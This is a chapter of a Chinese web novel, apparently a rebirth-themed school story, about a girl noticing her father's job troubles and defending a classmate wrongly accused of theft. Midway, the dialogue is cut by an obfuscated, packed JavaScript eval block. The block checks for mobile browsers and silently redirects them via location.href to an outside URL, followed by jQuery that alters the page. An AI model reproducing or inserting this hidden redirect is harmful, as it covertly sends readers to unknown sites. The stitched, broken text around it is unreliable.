初夏的雨来得突然，像是一场毫无先兆的突袭。顾知秋站在教室窗前，望着外面瓢泼的大雨，玻璃窗上蜿蜒的水痕将校园景色扭曲成模糊的色块。手机震动了一下，是母亲发来的短信：爸爸今晚的飞机，等你放学回来我们一起去机场。
放学铃声响起，顾知秋收拾书包的动作比平时快了许多。时越正在整理物理笔记，见状抬头问道：“有急事？”
“嗯，我爸今天从德国回来。”顾知秋把最后一本书塞进书包，“我跟我妈去机场接他。”
时越点点头，从书包里拿出一个塑料袋：“给，外面雨挺大的。”
顾知秋有点不好意思：“感觉我一直在跟你借伞……”嘴上推辞着，手却很老实地接了过来。借伞还伞，感觉很快要成了他们之间的日常，谁让自己这么不长记性呢。
雨中的机场熙熙攘攘。顾知秋踮着脚在人群中寻找父亲的身影，终于看到一个熟悉又陌生的身影推着行李车走来。父亲比记忆中瘦了许多，机场锃亮的灯光下，两鬓似乎还冒了了些许白发。
“爸爸！”顾知秋挥手喊道。
父亲看到她，疲惫的脸上绽开笑容。他快步走来，摸了摸她的头：“只只好像长高了。”
回家的路上，父亲一直在询问她的学习情况，对自己的工作只字不提。顾知秋注意到，当母亲问起“项目还顺利吗”时，父亲的笑容僵了一瞬。
“挺好的。”他拍拍母亲的手，“一切都正常。”
那晚，顾知秋半夜起来喝水，发现父母还在客厅低声交谈。父亲的声音带着压抑的焦躁：“...说是要架构调整，整个部门都要重组，我这种外派回来的最危险，因为去之前差不多是明示着回国后升职的...”
“等正式通知吧。总会有办法的。”母亲轻声安慰。
顾知秋轻手轻脚地退回房间，躺在床上盯着天花板。上一世的她从未注意过父母的这些烦恼，她似乎总是沉浸在自己的世界里，理所当然的享受着父母的一切付出。原来在她无忧无虑的学生时代，是父母的肩膀一直在扛起不同的压力。
第二天清晨，顾知秋特意早起做了早餐。父亲惊讶地看着桌上的煎蛋和粥：“只只会做饭了？”
“那是！这半年我跟妈妈学了可多东西了。”顾知秋语气轻松，希望家里的氛围也能跟着松快些……她递过筷子，“爸，你多吃点。”
父亲低头喝了一大口粥，竖起大拇指，看着妈妈欣慰的说：“姑娘真是长大了！”
周三早读课，沈蔚然神色不明的走到生活委员旁边，说：“我的ipod不见了，昨天中午还听歌了的……一会收班费的时候你帮我问问，有没有谁看见啊。”
顾知秋趴在桌上，低头用草稿纸计算着——如果每个月精打细算，零花钱至少能剩下多少。窗外的雨声像节奏不规则的鼓点，伴随着她的思绪。
“大家静一静！”生活委员拿着装班费的提盒在讲台上敲了敲，“沈蔚然说自己新买的ipod不见了，白色，有没有同学看见？”
教室里的窃窃私语瞬间扩散开，后来偏离到有些诡异的方向。"许丹丹最后走的吧？"班上一个平时跟沈蔚然关系很好的女生开口，音量正好可以被清晰听见，"我回教室拿外套时，看见她还在。"
话音落地，班上几道目光瞬间转向许丹丹。顾知秋握着笔的手顿了顿，她有些无语此刻教室里的逻辑——当事实无从证明，人们便将怀疑寄托在最后的身影上。
“看我干嘛？”她听见许丹丹的声音，还好，她从来都不是逆来顺受的性格。“或者说如果有证据可以出示，直接报警也行，我配合。”
教室骤然安静，那个女生可能没想到她会这么直接，涨红了脸：“我只是随口一说，你不要这么咄咄逼人吧。而且你也不能证明不是你啊……”
“她不需要证明不是她，就像你也不需要证明不是你一样。今天早上来教室的人也不少，每个人都有嫌疑。”顾知秋也站了起来，看向那个女生：“而且，每个人都要为自己的行为和语言负责，你的随口一说可能给别人带来很多困扰。许丹丹保有追究的权利。”说完她看了一下和自己隔了两条走廊的许丹丹，见她僵硬的肩膀松了下来，相信她懂自己的眼神。
教室里的躁动仿佛被骤然抽干的池水，所有人一时都沉默了。只有窗外的雨又开始断断续续地下了起来，淅淅沥沥像是一场持续不断的敲打。
江一鸣不合适宜的笑出了声，“知总，虽然你说的事实，但，要不要这么直接的说出来啊？”
这番话像一记锤声，击退了刚刚班级里凝重严肃的气氛。那个女生似乎有点想哭，沈蔚然适时开口，“算了吧，可能我不小心放到哪里了，要不我再找找。”
此时，一向话不多的时越站了起来，声音是一如既往的低沉平稳：“大家都不要乱猜了。”他站起来，扫视了一圈，“丢了东西是事实，但光靠印象就指责别人，也的确不对。要么沈蔚然先再找找吧，如果明天还找不到就报告吴老师处理，毕竟也不是小金额。”
这句话让班上的气氛终于缓和了一些。
午休时，早晨的大雨早已经停歇，顾知秋坐在操场边的长椅上，耳机里放着陈绮贞的《还是会寂寞》。风吹起校园角落的积水，阳光终于从云层中探出头，浅浅照在她的发梢上。
许丹丹坐在她旁边。
“知总，你今天简直太帅了！我都有点崇拜你了。”她忽然说。
顾知秋摘下一只耳机：“今天才崇拜？只有一点？”
许丹丹：“……”
“知总放心飞，丹丹永相随！”她摆了个浮夸的pose。
被她浮夸的说辞逗乐，看她情绪也恢复的差不多。两人都没再说话，感受着风吹过树叶的缝隙，阳光照射下，树木的影子在地面上一颤一颤地晃动。
傍晚，教室传来新的消息：原来 iPod 被沈蔚然自己带去广播室放歌，忘记拿回来了。两个负责广播的同学小心翼翼地把 iPod 送回。
所有一切归回正常，仿佛什么事都没发生。
晚自习刚到家，饭桌上的饭菜还冒着着热气。父亲罕见地没什么胃口。母亲几次试探性地问工作，他都不肯细说，只是喝了一口汤便放下筷子：“我下个月
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260888|181043||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可能要去上海看看朋友。”
母亲皱眉：“不是说等调令下来就回总部吗？怎么又变了？”
父亲低声叹息：“总部那边新任主任空降，我原来的项目可能要被砍，我想提前做准备。”
顾知秋一边吃饭一边默默听着，心底却渐渐翻涌起一股久违的焦虑。她模糊的记忆里，父亲好像也曾在她高三那年短暂赋闲过一段时间，后来又去了外地工作，当时她只知道是工作调动。
也是长大后才知道那段时间母亲偷偷卖了几件金首饰，家里压缩开支，当时的她却丝毫未曾察觉。
饭后，她跟母亲一起收拾碗筷时，小声问：“妈，要不要我暑假补习班就不报了吧？”
母亲一愣：“怎么突然说这个？”
“我感觉没有必要啊！补习的话要全部按照老师的思路跟步骤。没有自己安排时间自由。”她扯起个轻松的笑容，“再说我成绩也不差，我现在的同桌还是年级第一，他挺热心帮助同学的，我有不懂的都可以问他的。”
母亲望着她的眼睛，轻轻摸了摸她的头发，眼角泛起了微红：“你爸说得对，只只是真的长大了。”
次日清晨，教室的气氛终于恢复了往常的热闹。有人在讨论昨晚的韩剧，有人在追着学习文员确认期中考试到底安排在周几。
而顾知秋，坐在窗边的位置，一边翻着数学笔记，一边在草稿纸上写下公式。时越也是安静坐在一旁看着物理竞赛资料。两人的目光出奇一致的沉静。
时越接过本子后没再写什么，两人默契的相视一笑，然后又各自投入到手里的习题册中。如果此刻有人留意的话，会看到阳光从他俩侧脸滑过，是两张各有各的好看却一样坚韧的青春面孔。
当晚，顾知秋在日记本上画下两个交叠的圆圈。大圈里写着"父母的烦恼"，小圈是"我的世界"。她盯着那两个圆圈看了很久，直到笔尖在纸上渗出一点墨痕。
“希望自己能为他们也做点什么。”她在旁边小小地写下这一句，又划掉了。
她合上日记本，站起身，去厨房倒了杯水，已经快十一点。屋里一片寂静，只有墙上的钟摆不知疲倦的摇晃着。像是在提醒她成长的意义。
次日清晨，学校又恢复了往常的喧嚣。校园里还带着雨后的湿润气息。操场上，晨光穿透云层，洒在潮湿的跑道上，空气里弥漫着草木和泥土的清香。
升旗日，今日国旗下讲话的主题是“责任与成长”。顾知秋低着头听着台上学生会主席的标准发音，“感恩父母”“规划未来”，心里却悄悄笑了——她明白，成长不只是被讲出来的道理，更是亲眼看到、亲自去实践、还有亲身感受的生活。
她微微转过头，目光穿过几排同学的肩膀，看见时越站在她斜后方的位置，双手自然下垂，目光沉静。或许，他也想到了自己的母亲。阳光斜斜洒在他的侧脸，映出温润而稳重的轮廓，让人心里不自觉地踏实。
顾知秋的脑海里闪过昨晚父母低声交谈的情景，想起父亲眉间的倦意、母亲轻声的安慰……也许成长，是在日常中承担责任，也是在平凡中守护想要守护的人。